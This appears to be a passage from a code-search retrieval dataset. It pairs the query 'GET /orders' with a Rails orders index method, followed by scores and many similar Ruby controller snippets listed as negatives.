@bit_locker_enable_storage_card_encryption_on_mobile)\n writer.write_boolean_value(\"bitLockerEncryptDevice\", @bit_locker_encrypt_device)\n writer.write_object_value(\"bitLockerRemovableDrivePolicy\", @bit_locker_removable_drive_policy)\n writer.write_collection_of_primitive_values(\"defenderAdditionalGuardedFolders\", @defender_additional_guarded_folders)\n writer.write_collection_of_primitive_values(\"defenderAttackSurfaceReductionExcludedPaths\", @defender_attack_surface_reduction_excluded_paths)\n writer.write_object_value(\"defenderExploitProtectionXml\", @defender_exploit_protection_xml)\n writer.write_string_value(\"defenderExploitProtectionXmlFileName\", @defender_exploit_protection_xml_file_name)\n writer.write_collection_of_primitive_values(\"defenderGuardedFoldersAllowedAppPaths\", @defender_guarded_folders_allowed_app_paths)\n writer.write_boolean_value(\"defenderSecurityCenterBlockExploitProtectionOverride\", @defender_security_center_block_exploit_protection_override)\n writer.write_boolean_value(\"firewallBlockStatefulFTP\", @firewall_block_stateful_f_t_p)\n writer.write_enum_value(\"firewallCertificateRevocationListCheckMethod\", @firewall_certificate_revocation_list_check_method)\n writer.write_boolean_value(\"firewallIPSecExemptionsAllowDHCP\", @firewall_i_p_sec_exemptions_allow_d_h_c_p)\n writer.write_boolean_value(\"firewallIPSecExemptionsAllowICMP\", @firewall_i_p_sec_exemptions_allow_i_c_m_p)\n writer.write_boolean_value(\"firewallIPSecExemptionsAllowNeighborDiscovery\", @firewall_i_p_sec_exemptions_allow_neighbor_discovery)\n writer.write_boolean_value(\"firewallIPSecExemptionsAllowRouterDiscovery\", @firewall_i_p_sec_exemptions_allow_router_discovery)\n writer.write_number_value(\"firewallIdleTimeoutForSecurityAssociationInSeconds\", @firewall_idle_timeout_for_security_association_in_seconds)\n writer.write_boolean_value(\"firewallMergeKeyingModuleSettings\", @firewall_merge_keying_module_settings)\n writer.write_enum_value(\"firewallPacketQueueingMethod\", @firewall_packet_queueing_method)\n writer.write_enum_value(\"firewallPreSharedKeyEncodingMethod\", @firewall_pre_shared_key_encoding_method)\n writer.write_object_value(\"firewallProfileDomain\", @firewall_profile_domain)\n writer.write_object_value(\"firewallProfilePrivate\", @firewall_profile_private)\n writer.write_object_value(\"firewallProfilePublic\", @firewall_profile_public)\n writer.write_boolean_value(\"smartScreenBlockOverrideForFiles\", @smart_screen_block_override_for_files)\n writer.write_boolean_value(\"smartScreenEnableInShell\", @smart_screen_enable_in_shell)\n end",
"def passalong_object(model,body)\n ActiveSocket.log.debug \"in passalong\"\n request = Protocol.unpack(body)\n \n #if type is a class\n if request[:t] == \"c\"\n response = model.classify.constantize.send(request[:m],*request[:a]) \n \n #else type is an object\n else\n #ensure the object is of proper type:\n if request[:o] && request[:o].class.to_s == model.to_s\n response = {}\n if request[:a]\n response[:r] = request[:o].send(request[:m], *request[:a])\n else\n response[:r] = request[:o].send(request[:m])\n end\n response[:o] = request[:o]\n else\n ActiveSocket.log.debug \"packed object does not match expected Class type\"\n response[:r] = false\n end\n end\n return Protocol.pack(response) \n end"
] | [
"0.66133547",
"0.6568048",
"0.6232844",
"0.621995",
"0.61825466",
"0.6169411",
"0.6134908",
"0.6039825",
"0.6035135",
"0.5995298",
"0.5969132",
"0.5935219",
"0.5908148",
"0.5876064",
"0.58131754",
"0.58131754",
"0.58002955",
"0.57563365",
"0.57563365",
"0.57317793",
"0.5720098",
"0.5704931",
"0.5704931",
"0.56719023",
"0.567025",
"0.567025",
"0.567025",
"0.5660152",
"0.5660152",
"0.56030995",
"0.55861586",
"0.55854833",
"0.55792934",
"0.5562371",
"0.5552015",
"0.5548098",
"0.5544114",
"0.55069757",
"0.54913443",
"0.5428748",
"0.542031",
"0.54198384",
"0.54092526",
"0.540889",
"0.5396281",
"0.5388757",
"0.53833973",
"0.53833973",
"0.53758454",
"0.53738344",
"0.5368604",
"0.53633887",
"0.5358245",
"0.53550035",
"0.53454494",
"0.5333136",
"0.5331762",
"0.533064",
"0.5330631",
"0.5330338",
"0.53187466",
"0.5317128",
"0.53129226",
"0.52865815",
"0.52865815",
"0.52832705",
"0.5281504",
"0.5281132",
"0.527998",
"0.5279746",
"0.52726614",
"0.52693576",
"0.52679265",
"0.5263575",
"0.5263575",
"0.52529305",
"0.525062",
"0.52506167",
"0.52476",
"0.52476",
"0.52476",
"0.52476",
"0.52472836",
"0.5233021",
"0.5230958",
"0.5228879",
"0.5227271",
"0.52259034",
"0.52247745",
"0.5221209",
"0.5214948",
"0.5213332",
"0.52100307",
"0.5207312",
"0.5206733",
"0.52051604",
"0.5201257",
"0.51953197",
"0.51855373",
"0.5182922",
"0.518125"
] | 0.0 | -1 |
GET /orders GET /orders.json | def index
@orders = Order.all.paginate(page: params[:page], per_page: 5)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def getorders(args={})\n {\n :method=> \"GetOrders\"\n }.to_json\n end",
"def orders\n params = { command: 'account_orders' }\n get('/json.php', params)\n end",
"def index\n @orders = Order.all\n render json: @orders\n end",
"def index\n @orders = Order.all\n render json: @orders, status: 200\n end",
"def orders\n authenticated_post(\"orders\").body\n end",
"def orders\n authenticated_post(\"auth/r/orders\").body\n end",
"def index\n @orders = Order.order(\"id\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n respond_to do |format|\n format.html\n format.json { render :json => @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def get_all_orders() \n\tputs \"Getting all orders\"\n\tresponse = request_get(\"/api/order\")\n\tputs response.body\nend",
"def index\n #@orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def get_orders\n return ShopifyAPI::Order.all\n end",
"def index\n\t\t@orders = Order.all\n\t\trespond_with @orders\n\tend",
"def listOrders()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n ret = []\n Order.find_each do |order|\n ret << {id: order.id, product_id: order.product_id, product_name: Product.find(order.product_id).name, user_id: order.user_id, quantity: order.quantity, price_per_unit: order.price_per_unit, int_status: order.order_status}\n end\n render json: {data: ret.to_json, reason: '', status: true}\n end",
"def index\n @orders = Order.all\n if @orders.count >= 1\n json_response(@orders)\n else\n json_response({ Message: Message.no_data }, :not_found)\n end\n end",
"def recent_orders()\n\t\twith_auth nil do |options|\n\t\t\tself.class.get(\"/api/v1/orders\", options)\n \tend\n\tend",
"def index\n @orders = Order.all\n render json: { status: 'SUCCESS', message: 'Loaded posts', data: @orders }\n end",
"def show\n render json: @order\n end",
"def show\n render json: @order\n end",
"def index\n @orders = Order.paginate page: params[:page], order: 'created_at desc', \n per_page: 10\n \n respond_to do |format|\n format.html\n format.json { render json: @orders } \n end\n end",
"def index\n @power_orders = PowerOrder.all\n render json: @power_orders\n end",
"def show\n order = Order.find(params[:id])\n render json: order\n end",
"def index\n @order_line_items = @order.order_line_items\n\n render json: @order_line_items\n end",
"def index\n @orders = Order.order(\"id DESC\").page(params[:page])\n\n if params[:user_id]\n @orders = @orders.where(:user_id => params[:user_id])\n end\n\n if Rails.configuration.orders_status.select{|k, v| v[:real]}.keys.include? params[:status]\n @orders = @orders.where(:status => params[:status])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @admin_orders = Order.page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_orders }\n end\n end",
"def orders(params = {})\n get('/market/orders', params)\n .map { |data| build_persisted_order data }\n end",
"def show\n @order = Order.find(params[:id])\n\n render json: @order\n end",
"def index\n #data = HTTParty.get(\"http://localhost:8081/customers.json\")\n #p data.parsed_response[0]['email']\n if params[:customerId].present?\n @orders = Order.where(\"customerId\": params[:customerId].to_i)\n render json: @orders, status: 200\n elsif params[:id].present?\n @orders = Order.find_by id: params[:id]\n render json: @orders, status:200\n elsif params[:email].present?\n res = HTTParty.get(\"http://localhost:8081/customers/?email=#{params['email']}\")\n p res\n res = res.parsed_response\n @orders = Order.where(\"customerId\": res['id'].to_i)\n render json: @orders, status:200\n else\n @orders = Order.all\n end\n end",
"def all_orders(options)\n request :account, :get, 'allOrders', options\n end",
"def index\n @orders = @group.orders\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index # see model > order.rb\n # if current_user\n @orders = current_user.orders\n render \"index.json.jb\"\n # else\n # render json: [], status: :unauthorized\n # end\n end",
"def get_orders\n orders\n end",
"def index\n @orders = order.all\n end",
"def show\n @order = Order.find(params[:id])\n\n render json: @order, status: :ok\n\n end",
"def get_order(order_id)\n\tputs \"Getting order: \" + order_id\n\tresponse = request_get(\"/api/order/\" + order_id)\n\tputs response.body\nend",
"def index\n @orders = @orders.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = @branch.orders.limit(100).paginate(:page=>params[:page], :per_page=>20)\n logger.debug @orders.inspect\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = index_resources\n respond_with(@orders)\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show_orders\n @user = User.find_by_sql [\"select * from users where email = ? and users.status = 'admin'\", params[:email]]\n if @user.count != 0\n @orders = UsersOrder.find_by_sql [\"select users_orders.id, users.email, books.title, books.genre from users_orders\n LEFT JOIN users ON users_orders.user_id = users.id\n LEFT JOIN books ON users_orders.book_id = books.id where users_orders.status = ? ORDER BY users_orders.created_at ASC\", params[:status]]\n end\n render json: @orders\n end",
"def index\n @line_items = @order.line_items\n\n render json: @line_items\n end",
"def index\n @orders = Order.all\n end",
"def orders\n resp = API.connection.get 'api/orders', {\n user_email: @email,\n user_token: @token\n }\n\n case resp.status\n when 200\n resp.body.map { |order_hash| Order.new(order_hash) }\n when 401\n raise Teachable::AuthError, resp.body['error']\n else\n raise Teachable::Error, 'Unknown response.'\n end\n end",
"def customer_single_orders\n @orders = Order.where(customer_id: current_user.customer_id, category: :single)\n render json: @orders, status: 200\n\n end",
"def order(id, orderid = '')\n get(\"/accounts/#{id}/orders\")['orders']\n end",
"def index\n @orders = Order.all\n respond_to do |format|\n format.html { render layout: \"account\" }\n format.json { render :json => @orders }\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render :json => @order }\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render :json => @order }\n end\n end",
"def orders(id, orderid = nil)\n get(\"/accounts/#{id}/orders#{orderid ? \"/#{orderid}\" : ''}\")['orders']\n end",
"def index\n @orders = Order.all\n end",
"def show\n \n @order = Order.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n \n end \n end",
"def index \n @orders = Order.all \n end",
"def searchByOrder\n \torderId = params['id']\n\t order = Order.where(id: orderId)\n\t render json: order, status: 200\n\tend",
"def index # class method\n @orders = Order.all\n end",
"def index # class method\n @orders = Order.all\n end"
] | [
"0.83266383",
"0.81536555",
"0.8002928",
"0.7946372",
"0.7845412",
"0.78225523",
"0.78017557",
"0.7697768",
"0.7696449",
"0.7681226",
"0.7681226",
"0.7681226",
"0.7681226",
"0.76811934",
"0.75869167",
"0.7572688",
"0.7561361",
"0.7531057",
"0.74846864",
"0.7430992",
"0.7368853",
"0.7331206",
"0.7327865",
"0.7327865",
"0.7284739",
"0.72838444",
"0.7270212",
"0.7267879",
"0.72625554",
"0.7256317",
"0.72462183",
"0.7244802",
"0.7238182",
"0.7233167",
"0.72163177",
"0.72108823",
"0.7154354",
"0.7140466",
"0.7086212",
"0.70664805",
"0.7064464",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.7062526",
"0.705826",
"0.70301056",
"0.70256895",
"0.70233685",
"0.70032763",
"0.6995483",
"0.69880325",
"0.6971925",
"0.69685405",
"0.6964754",
"0.69642997",
"0.69642997",
"0.6955937",
"0.69552386",
"0.6945252",
"0.69162524",
"0.6910019",
"0.6905568",
"0.6905568"
] | 0.0 | -1 |
GET /orders/1 GET /orders/1.json | def show
@order_line = OrderLine.new
@article_list = Article.all
@article_list.each do |option|
@article_id = option.id
@article_description = option.description
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def getorders(args={})\n {\n :method=> \"GetOrders\"\n }.to_json\n end",
"def index\n @orders = Order.all\n render json: @orders\n end",
"def index\n @orders = Order.all\n render json: @orders, status: 200\n end",
"def index\n @orders = Order.order(\"id\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n if @orders.count >= 1\n json_response(@orders)\n else\n json_response({ Message: Message.no_data }, :not_found)\n end\n end",
"def get_order(order_id)\n\tputs \"Getting order: \" + order_id\n\tresponse = request_get(\"/api/order/\" + order_id)\n\tputs response.body\nend",
"def show\n order = Order.find(params[:id])\n render json: order\n end",
"def show\n @order = Order.find(params[:id])\n\n render json: @order\n end",
"def index\n\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def orders\n params = { command: 'account_orders' }\n get('/json.php', params)\n end",
"def index\n @orders = Order.all\n respond_to do |format|\n format.html\n format.json { render :json => @orders }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n render json: @order, status: :ok\n\n end",
"def show\n @v1_order = V1::Order.find(params[:id])\n\n if @v1_order.nil?\n render json: @v1_order, message: 'Resource not found', status: 404\n else\n render json: @v1_order, message: 'OK', status: 200\n end\n end",
"def index\n #@orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def customer_single_orders\n @orders = Order.where(customer_id: current_user.customer_id, category: :single)\n render json: @orders, status: 200\n\n end",
"def show\n render json: @order\n end",
"def show\n render json: @order\n end",
"def get_all_orders() \n\tputs \"Getting all orders\"\n\tresponse = request_get(\"/api/order\")\n\tputs response.body\nend",
"def show\n \n @order = Order.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n \n end \n end",
"def index\n #data = HTTParty.get(\"http://localhost:8081/customers.json\")\n #p data.parsed_response[0]['email']\n if params[:customerId].present?\n @orders = Order.where(\"customerId\": params[:customerId].to_i)\n render json: @orders, status: 200\n elsif params[:id].present?\n @orders = Order.find_by id: params[:id]\n render json: @orders, status:200\n elsif params[:email].present?\n res = HTTParty.get(\"http://localhost:8081/customers/?email=#{params['email']}\")\n p res\n res = res.parsed_response\n @orders = Order.where(\"customerId\": res['id'].to_i)\n render json: @orders, status:200\n else\n @orders = Order.all\n end\n end",
"def index\n\t\t@orders = Order.all\n\t\trespond_with @orders\n\tend",
"def show\n @order1 = Order1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order1 }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def index\n @order_line_items = @order.order_line_items\n\n render json: @order_line_items\n end",
"def orders\n authenticated_post(\"orders\").body\n end",
"def index\n @orders = Order.order(\"id DESC\").page(params[:page])\n\n if params[:user_id]\n @orders = @orders.where(:user_id => params[:user_id])\n end\n\n if Rails.configuration.orders_status.select{|k, v| v[:real]}.keys.include? params[:status]\n @orders = @orders.where(:status => params[:status])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render :json => @order }\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render :json => @order }\n end\n end",
"def orders\n authenticated_post(\"auth/r/orders\").body\n end",
"def show\n @order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json=>@order }\n end\n end",
"def show\n @order = Order.find(params[:id])\n @title = \"Order #{@order.id}\"\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def recent_orders()\n\t\twith_auth nil do |options|\n\t\t\tself.class.get(\"/api/v1/orders\", options)\n \tend\n\tend",
"def show\n #@order = Order.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def show\n if @order\n respond_to do |format|\n format.html { @order }\n format.json { render json: @order.to_json(include: [:status, :package, :discount]) }\n end\n else\n redirect_to orders_path, notice: \"Order ID not found for that client.\"\n end\n end",
"def index\n @orders = @group.orders\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @power_orders = PowerOrder.all\n render json: @power_orders\n end",
"def index\n @admin_orders = Order.page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_orders }\n end\n end",
"def order(id, orderid = '')\n get(\"/accounts/#{id}/orders\")['orders']\n end",
"def retrieve_order(order_id:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::GET,\n '/v2/orders/{order_id}',\n 'default')\n .template_param(new_parameter(order_id, key: 'order_id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'accept'))\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end",
"def index # see model > order.rb\n # if current_user\n @orders = current_user.orders\n render \"index.json.jb\"\n # else\n # render json: [], status: :unauthorized\n # end\n end",
"def index\n @orders = Order.paginate page: params[:page], order: 'created_at desc', \n per_page: 10\n \n respond_to do |format|\n format.html\n format.json { render json: @orders } \n end\n end",
"def index\n @line_items = @order.line_items\n\n render json: @line_items\n end",
"def index\n @orders = order.all\n end",
"def searchByOrder\n \torderId = params['id']\n\t order = Order.where(id: orderId)\n\t render json: order, status: 200\n\tend",
"def get_order(order_id)\n res = request('get', \"https://#{orders_path}/#{order_id}\")\n parse_response res\n end",
"def show\n @order = Order.find(request[:order_id])\n @order_item = @order.order_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order_item }\n end\n end",
"def index\n @orders = Order.all\n render json: { status: 'SUCCESS', message: 'Loaded posts', data: @orders }\n end",
"def fetch\n @order = Order.where(owner_id: current_user.branch.nodes.pluck(:id)).order('orders.quantity').last\n\n render json: {id: @order.id, quantity: @order.quantity,\n date: @order.created_at.strftime('%d/%m/%Y'),\n time: @order.created_at.strftime('%p %I:%M'),\n destination: \"#{t('fridge')} - #{@order.owner_id}\"\n }, status: :ok\n end",
"def get(order_id)\n get_request(t_url(:order, order_id))\n end",
"def get_order\n @order = Order.find(params[:id])\n end",
"def get_order\n @order = Order.find(params[:id])\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end"
] | [
"0.7551269",
"0.748772",
"0.7474795",
"0.73770833",
"0.73708034",
"0.7341552",
"0.73383164",
"0.7316408",
"0.7301667",
"0.7291072",
"0.7291072",
"0.7291072",
"0.7291072",
"0.72909385",
"0.72781694",
"0.726596",
"0.7249828",
"0.7229755",
"0.7213231",
"0.71826744",
"0.71255547",
"0.71255547",
"0.70961136",
"0.70887583",
"0.7046056",
"0.7016228",
"0.70125717",
"0.70057607",
"0.70057607",
"0.70057607",
"0.70057607",
"0.70057607",
"0.70057607",
"0.70057607",
"0.70057607",
"0.70057607",
"0.70057607",
"0.70057607",
"0.70057607",
"0.70057607",
"0.70057607",
"0.70057607",
"0.70057607",
"0.69783664",
"0.6972176",
"0.69630075",
"0.69517356",
"0.691986",
"0.691986",
"0.69081986",
"0.69077873",
"0.69047266",
"0.68872553",
"0.6881366",
"0.68706906",
"0.6852044",
"0.68308336",
"0.6830224",
"0.68254316",
"0.6820782",
"0.6818653",
"0.6808207",
"0.67904884",
"0.6787538",
"0.67848927",
"0.674946",
"0.67385906",
"0.6724515",
"0.67151487",
"0.6705056",
"0.67026955",
"0.67026955",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796",
"0.6697796"
] | 0.0 | -1 |
POST /orders POST /orders.json | def create
@order = Order.new(order_params)
@order.user_id = current_user.id
@order.uuid = SecureRandom.hex(8)
respond_to do |format|
if @order.save
format.html { redirect_to @order, notice: 'Order was successfully created.' }
format.json { render 'show', status: :created, location: @order }
else
format.html { render 'new' }
format.json { render json: @order.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def orders\n authenticated_post(\"orders\").body\n end",
"def orders\n authenticated_post(\"auth/r/orders\").body\n end",
"def create\n order = Order.create(order_params)\n render json: order\nend",
"def submit_order()\n\tputs \"Submitting order\"\n\tdata = create_order()\n\tresponse = request_post(\"/api/order\", data)\n\tputs response.body\nend",
"def create\n @order = Order.new(order_params)\n if @order.save\n render json: { status: 'SUCCESS', data: @order }\n else\n render json: { status: 'ERROR', data: @order.errors }\n end\n end",
"def create_order(order_params)\n res = request('post', \"https://#{orders_path}\", order_params)\n parse_response res\n end",
"def create\n @order = @orders.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: \"Order was successfully created.\" }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, :notice=>\"Order was successfully created.\" }\n format.json { render :json=>@order, :status=>:created, :location=>@order }\n else\n format.html { render :action=>\"new\" }\n format.json { render :json=>@order.errors, :status=>:unprocessable_entry }\n end\n end\n end",
"def create\n @order = Order.new(params[:order])\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, :notice => 'Order was successfully created.' }\n format.json { render :json => @order, :status => :created, :location => @order }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @order.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_order(options)\n request :account, :post, 'order', options\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: t('app.orders.create.success') }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # @order = Order.new() \n total = 0\n \n @order = Order.new()\n for product in params[:_json]\n \n if (product[:quantity].nil? || product[:quantity].to_f < 1 || !isint(product[:quantity]))\n # Handle case when order invalid quantity\n render json: \"\", status: :bad_request\n return\n end\n\n @product = Product.find_by_name_and_size_id(product[:product], product[:size]) \n if @product.nil?\n # Handle case when order invalid products\n render json: \"\", status: :not_found\n return\n end \n total = total + @product.price * product[:quantity].to_f \n @order.orders_products << OrdersProduct.new(:product => @product, :hot => product[:hot], :quantity => product[:quantity]) \n end \n\n @order.total = total\n\n if @order.save\n render json: @order, status: :created, location: @order\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end",
"def validate_order() \n\tputs \"Validating order\" \n\tdata = create_order()\n\tresponse = request_post(\"/api/order/validate\", data)\n\tputs response.body\nend",
